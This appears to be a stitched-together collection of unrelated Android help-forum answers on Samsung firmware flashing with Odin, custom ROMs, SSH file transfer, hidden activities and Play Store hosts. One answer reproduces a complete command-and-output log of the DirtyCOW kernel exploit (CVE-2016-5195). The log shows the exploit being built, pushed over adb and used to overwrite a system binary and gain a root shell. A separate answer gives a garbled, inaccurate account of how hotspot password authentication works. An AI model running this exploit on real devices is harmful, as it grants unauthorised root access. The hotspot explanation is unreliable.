This is a guide for only for Samsung phones
How did I solve it is by doing the following things in order;

Download latest or same binary version of your device firmware. Mine
at this time is 8 (B=8. K=7), you can find it by going into download
mode (by pressing HOME + VOL-Down + POWER Button) and looking on
top left corner after few lines.

Select all the files BL,CP,AP,CSC, and Home USER DATA and then go to second tab in odin check following options: NAND Erase, Re Partition and F.Reset Time, uncheck all other like auto reboot and everything else.

Now plug in your Phone (assuming you have already installed USB Drivers) and click start/flash.

After it is done, reboot your phone again into download mode by holding HOME+VOLDOWN+POWER key first it shutdowns then it reboots again into Download Mode.

Now reset odin by clicking on reset button or closing and reopening it, then load TWRP .tar file in AP Tab and check all the previous flags except NAND Erase and choose your PIT file. Google this for your Phone and Carrier. Inmy case it is PAK and is bundled with XSG(UAE) OMC.

After recovery is flashed, reboot to recovery mode by pressing HOME+VOLUP+POWER key and go to Wipe>format and after that flash your phone's specific mods/zips like DM-Verity disabler and any other. Now you have your stock ROM, install Magisk/SuperSU or flash any other custom ROM.

Now the problems that can be solved by this way are if you have messed up your Boot Loader by trying some boot-splash or boot-animation mod (Do all the same things explained above except load your BL*.tar.md5 file at BL tab not AP tab and same goes for modem(cp) at CP Tab), messed up recovery partition by trying to flash old rom after upgrading your Binary or any other partition related problem.


Yes; The Nexus Android is closer to AOSP which is a minimal OS all the other Android distributions are built on. You probably want CM though as it's the most popular pre built ROM for your device.

https://wiki.cyanogenmod.org/w/Jfltexx_Info

Also unlike the Samsung ROM, CM gets security updates every month and unlike Samsung will continue to for older devices like the S2, S3, etc.

https://en.m.wikipedia.org/wiki/AOSP


I use LUKS Manager's binary on the command line.


How can I launch a system app that doesn't appear in the app drawer?

Since you have Nova Launcher installed, try adding an Activities widget and flip through the available activities list to see if one of the activities is what you're looking for.


How to remove the bootloader unlocked sign while restarting device

Someone found a way to get rid of this screen on a Nexus 5X by replacing the imgdata bitmap files. Not sure if there is a one for 6P.

XDA forum link here


How to access files transferred to device using SimpleSSHD?

Don't ever copy files out of /sdcard/, for this task you should leave the files where they are. In order to copy files using SimpleSSHD, simply connect and copy: assuming you've left the default port of 2222 you can do this,
SCP File Transfer
host=192.168.1.228
scp -r "scp://root@${host}:2222//sdcard/DCIM/OpenCamera" .

RSYNC over SSH File Transfer
host=192.168.1.228
rsync --progress -ave 'ssh -p 2222' "root@${host}:/sdcard/DCIM/OpenCamera" .


related to technical working of hotspot in android

This is security related question that's why everyone wants to know how the functionality of android works and I think everyone should know.

So let me explain about this topic :
suppose there are two devices A and B.

The device which want to connect to WIFI connection (suppose mobile: A)and the device which has tethering hotspot enabled(suppose mobile: B).

Here the A sends the request to B for connecting with wifi network and share the data.In response to this request device B sends the challenge of 8 byte with encryption on key and hash if the device B has password protection otherwise device A can directly invited to connect with that open network.

Now, Device A must match the credentials(challenge) to connect with that network, to do that device A enters a password and hit the enter button.After that the request with password is sent to the device B.The entered password is also sent with encryption algorithm to device B.

There are so many algorithms available for password checking.Here checking of password is done with algorithms which are stored in android somewhere.The matching will be done with stored encrypted password and user entered password.If the password pattern matches then device B send a flag with success, otherwise it will send bad request message to the device B and again ask for password.

If the password matches successfully the device A connects with device B and the device b stores the physical address of the device A to locate the device.

I hope it will helpful information.


you can use "emulator" from console. That way it will stay on regardless of eclipse state.
 starting emulator

also, try using adb devices to find out is your emulator really running


Does the Nexus 7 have a LED flash for its camera?

As a Nexus 7 owner, I can confirm for you that it does not have a LED flash for its front-facing camera. In fact, off the top of my head, I can't think of a single device that does.

Documentation of a feature that isn't present is going to be hard to come by. A good verification of this fact, however, is in ifixit's teardown pictures (see steps 12 and 13). Camera and light sensor, no flash.


Have a widget activating something in an app?

In short, you can't.

Only the application can interact with itself internally, unless an API was created for that end. External applications aren't able to know what to do in order to follow your desired "path".

The best you could achieve is opening the application, but you still needed to manually tap the buttons.

My recommendation:

I believe you are trying to have some sort of "Sync Now" functionality without having to open the application and clicking some buttons to achieve that. Either case, Email the developer and request such widget, I'm sure it's useful enough and interest will arise.


Did you use this ADB Exploit specifically for Android ?

$ make root
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory '/home/user/dev/git/exploits/CVE-2016-5195'
[arm64-v8a] Install        : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install        : run-as => libs/arm64-v8a/run-as
[x86_64] Install        : dirtycow => libs/x86_64/dirtycow
[x86_64] Install        : run-as => libs/x86_64/run-as
[mips64] Install        : dirtycow => libs/mips64/dirtycow
[mips64] Install        : run-as => libs/mips64/run-as
[armeabi-v7a] Install        : dirtycow => libs/armeabi-v7a/dirtycow
[armeabi-v7a] Install        : run-as => libs/armeabi-v7a/run-as
[armeabi] Install        : dirtycow => libs/armeabi/dirtycow
[armeabi] Install        : run-as => libs/armeabi/run-as
[x86] Install        : dirtycow => libs/x86/dirtycow
[x86] Install        : run-as => libs/x86/run-as
[mips] Install        : dirtycow => libs/mips/dirtycow
[mips] Install        : run-as => libs/mips/run-as
make[1]: Leaving directory '/home/user/dev/git/exploits/CVE-2016-5195'
adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow
[100%] /data/local/tmp/dcow
adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as
[100%] /data/local/tmp/run-as
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (5544) and destination file size (17944) differ

[*] size 5544
[*] mmap 0xb536b000
[*] currently 0xb536b000=464c457f
[*] madvise = 0xb536b000 5544
[*] madvise = 0 0
[*] /proc/self/mem 5544 1
[*] exploited 0xb536b000=464c457f
adb shell /system/bin/run-as
uid /system/bin/run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0
/system/bin/sh: can't find tty fd: No such device or address
/system/bin/sh: warning: won't have full job control
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
shamu:/ #

Because it Only Gains Root Access,...
You need to install a Root Access Manager yourself...

After getting UID = 0 ( Root Access )
Push SU Binary & Super User Application to the device..

  This repository demonstrates the vulnerability on vulnerable Android devices attached via ADB. It does not disable SELinux (see https://github.com/timwr/CVE-2016-5195/issues/9) or install superuser on the device.

You need to disable SE Linux Also...


What is the DNS entry for the Google Play store?

The Google PlayStore app mainly the following URL:

https://android.clients.google.com

Additional servers may be used for login or downloading the description and images shown within the PlayStore app.

Also the actual download URL points to one of a large number of servers in the Google Content Delivery Cloud (actually you can say it is more or less random from your point of view).